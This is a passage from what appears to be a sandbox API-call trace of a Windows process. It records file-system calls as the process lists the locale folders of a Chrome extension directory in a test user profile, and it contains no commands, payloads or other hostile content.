out: lpFindFileData=0x6cfe5e0) returned 0 [0069.778] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x80 [0069.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1550840, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf1550840, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf1550840, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.779] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x80 [0069.779] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.780] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.780] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.780] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.780] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.780] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR", lpFilePart=0x0) returned 0x80 [0069.780] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.780] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.780] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.780] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.780] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x80 [0069.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1550840, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf1550840, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf1550840, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.781] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x80 [0069.783] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.783] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.783] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.783] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.783] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.783] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT", lpFilePart=0x0) returned 0x80 [0069.786] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.786] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.786] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.786] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.786] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.787] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro", lpFilePart=0x0) returned 0x7d [0069.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1550840, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf1550840, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf1550840, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.787] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro", lpFilePart=0x0) returned 0x7d [0069.787] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.787] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.787] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.788] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.788] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.788] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro", lpFilePart=0x0) returned 0x7d [0069.788] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.788] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.788] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.788] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.788] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.788] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru", lpFilePart=0x0) returned 0x7d [0069.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.788] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1550840, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf1550840, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf1550840, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru", lpFilePart=0x0) returned 0x7d [0069.789] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.789] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.789] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.789] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.789] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru", lpFilePart=0x0) returned 0x7d [0069.789] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.790] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.790] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.790] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.790] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.790] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk", lpFilePart=0x0) returned 0x7d [0069.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.790] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1550840, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf15769a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf15769a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.790] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk", lpFilePart=0x0) returned 0x7d [0069.791] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.791] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.791] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.791] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.791] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.791] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk", lpFilePart=0x0) returned 0x7d [0069.791] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.791] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.791] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.791] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.792] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.792] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl", lpFilePart=0x0) returned 0x7d [0069.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.792] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf15769a0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf15769a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf15769a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.794] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl", lpFilePart=0x0) returned 0x7d [0069.794] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.794] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.795] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.795] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl", 